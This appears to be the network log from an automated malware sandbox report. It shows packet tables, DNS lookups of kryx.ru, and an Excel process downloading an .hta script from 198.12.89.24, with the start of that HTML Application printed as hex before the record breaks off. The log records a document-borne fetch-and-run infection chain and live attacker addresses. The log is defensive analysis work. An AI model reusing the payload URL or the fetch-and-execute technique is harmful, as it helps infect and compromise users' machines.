Mar 17, 2025 09:29:24.307251930 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.307259083 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.307292938 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.307363987 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.307380915 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.307420015 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.307425976 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.307573080 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.395224094 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395239115 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395308018 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.395327091 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395437956 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.395623922 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395638943 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395684958 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.395689964 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395725012 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.395796061 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395811081 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395857096 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.395863056 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.395905018 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.396425009 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.396440029 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.396554947 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.396554947 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.396563053 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.396574020 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.396593094 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.396609068 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.396642923 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.396648884 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.396859884 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397025108 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397041082 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397099972 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397108078 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397164106 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397474051 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397489071 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397536039 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397553921 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397593975 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397859097 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397877932 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397926092 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397934914 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.397965908 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.397984982 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.485901117 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.485918999 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.485960007 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.485974073 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.485995054 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486016035 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486100912 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486120939 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486151934 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486155987 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486186981 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486202955 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486392021 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486407042 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486437082 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486440897 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486485958 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486485958 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486764908 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486780882 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486814976 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.486819029 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.486918926 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487128019 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487143993 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487181902 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487185955 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487200022 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487220049 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487308025 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487323046 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487365007 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487369061 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487394094 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487409115 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487643957 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487658978 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487694979 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487699032 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487746954 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.487974882 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.487988949 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.488018990 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.488023043 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.488050938 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.576492071 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.576514959 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.576564074 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.576576948 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.576602936 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.576620102 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.576674938 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.576690912 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.576723099 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.576726913 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.576764107 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.576781988 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577032089 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577049017 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577102900 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577112913 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577220917 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577377081 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577390909 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577435017 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577438116 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577471972 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577682972 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577701092 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577739954 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577744961 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577788115 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.577971935 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.577989101 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578032017 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.578035116 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578059912 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.578073978 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.578201056 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578214884 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578260899 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.578264952 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578293085 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.578421116 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578437090 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578478098 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.578483105 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.578527927 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667059898 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667078972 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667135000 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667144060 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667171001 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667290926 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667314053 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667351007 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667357922 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667388916 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667403936 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667588949 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667606115 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667632103 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667638063 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667659044 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667674065 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667860985 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667882919 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667913914 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667918921 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.667946100 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.667958975 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668154955 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668171883 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668205023 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668210030 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668231964 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668246984 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668428898 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668443918 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668476105 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668479919 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668503046 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668517113 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668680906 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668697119 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668724060 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668728113 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.668761015 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.668775082 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.669003963 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.669018984 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.669066906 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.669070959 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.669087887 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.669101954 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.757648945 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.757667065 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.757724047 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.757744074 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.757797003 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.757972002 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.757987976 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758035898 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758042097 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758061886 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758095026 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758184910 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758199930 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758259058 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758264065 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758409023 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758513927 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758528948 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758575916 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758582115 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758685112 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758701086 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758716106 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758761883 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758766890 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758867979 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.758943081 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758958101 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.758991003 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.759006023 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.759010077 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.759047985 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.759053946 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.759177923 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.759195089 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:24.759213924 CET	49701	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:24.759224892 CET	443	49701	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:29.853877068 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:29.853915930 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:29.853976011 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:29.880198956 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:29.880270004 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:29.880333900 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:29.881174088 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:29.881189108 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:29.884495974 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:29.884525061 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.559741020 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.560174942 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.560220957 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.560271025 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.560705900 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.560719967 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.561114073 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.561129093 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.561817884 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.561822891 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.670190096 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.670212030 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.670269012 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.670288086 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.670522928 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.670522928 CET	49703	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.670531988 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.670540094 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.670591116 CET	443	49703	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.672277927 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.672343016 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:29:30.672951937 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.672952890 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.672952890 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.979197025 CET	49704	443	192.168.2.7	13.107.246.60
Mar 17, 2025 09:29:30.979238987 CET	443	49704	13.107.246.60	192.168.2.7
Mar 17, 2025 09:30:06.281125069 CET	49698	80	192.168.2.7	198.12.89.24
Mar 17, 2025 09:30:06.285878897 CET	80	49698	198.12.89.24	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 09:29:07.261583090 CET	63063	53	192.168.2.7	1.1.1.1
Mar 17, 2025 09:29:07.354336023 CET	53	63063	1.1.1.1	192.168.2.7
Mar 17, 2025 09:29:22.696779013 CET	50365	53	192.168.2.7	1.1.1.1
Mar 17, 2025 09:29:22.834953070 CET	53	50365	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2025 09:29:07.261583090 CET	192.168.2.7	1.1.1.1	0x85e6	Standard query (0)	kryx.ru	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:29:22.696779013 CET	192.168.2.7	1.1.1.1	0x6876	Standard query (0)	otelrules.svc.static.microsoft	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 17, 2025 09:28:18.209204912 CET	1.1.1.1	192.168.2.7	0x254a	No error (0)	ecs-office.s-0005.dual-s-msedge.net	shed.s-0005.dual-s-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 09:28:18.209204912 CET	1.1.1.1	192.168.2.7	0x254a	No error (0)	shed.s-0005.dual-s-dc-msedge.net	s-0005.dual-s-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 09:28:18.209204912 CET	1.1.1.1	192.168.2.7	0x254a	No error (0)	s-0005.dual-s-dc-msedge.net		52.123.130.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:18.209204912 CET	1.1.1.1	192.168.2.7	0x254a	No error (0)	s-0005.dual-s-dc-msedge.net		52.123.131.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:28:20.020064116 CET	1.1.1.1	192.168.2.7	0xa641	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:29:07.354336023 CET	1.1.1.1	192.168.2.7	0x85e6	No error (0)	kryx.ru		188.225.72.170	A (IP address)	IN (0x0001)	false
Mar 17, 2025 09:29:22.834953070 CET	1.1.1.1	192.168.2.7	0x6876	No error (0)	otelrules.svc.static.microsoft	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 09:29:22.834953070 CET	1.1.1.1	192.168.2.7	0x6876	No error (0)	otelrules-bzhndjfje8dvh5fd.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 09:29:22.834953070 CET	1.1.1.1	192.168.2.7	0x6876	No error (0)	star-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 09:29:22.834953070 CET	1.1.1.1	192.168.2.7	0x6876	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 09:29:22.834953070 CET	1.1.1.1	192.168.2.7	0x6876	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kryx.ru

otelrules.svc.static.microsoft

198.12.89.24

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49698	198.12.89.24	80	6784	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2025 09:29:08.369787931 CET	265	OUT	GET /xampp/angel/tsgreatnessforentiretimegoodgirlsheis.hta?&balinese=stereotyped HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: 198.12.89.24
Mar 17, 2025 09:29:08.853543997 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 08:29:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 17 Mar 2025 06:44:13 GMT ETag: "768-630841dcba22f" Accept-Ranges: bytes Content-Length: 1896 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 78 65 63 75 74 61 72 20 53 63 72 69 70 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 48 54 41 3a 41 50 50 4c 49 43 41 54 49 4f 4e 20 0d 0a 20 20 20 20 20 20 20 20 41 50 50 4c 49 43 41 54 49 4f 4e 4e 41 4d 45 3d 22 53 63 72 69 70 74 45 78 65 63 75 74 6f 72 22 0d 0a 20 20 20 20 20 20 20 20 42 4f 52 44 45 52 3d 22 6e 6f 6e 65 22 0d 0a 20 20 20 20 20 20 20 20 43 41 50 54 49 4f 4e 3d 22 6e 6f 22 0d 0a 20 20 20 20 20 20 20 20 53 48 4f 57 49 4e 54 41 53 4b 42 41 52 3d 22 6e 6f 22 0d 0a 20 20 20 20 20 20 20 20 53 49 4e 47 4c 45 49 4e 53 54 41 4e 43 45 3d 22 79 65 73 22 0d 0a 20 20 20 20 20 20 20 20 57 49 4e 44 4f 57 53 54 41 54 45 3d 22 6d 69 6e 69 6d 69 7a 65 22 0d 0a 20 20 20 20 2f 3e 0d 0a 20 20 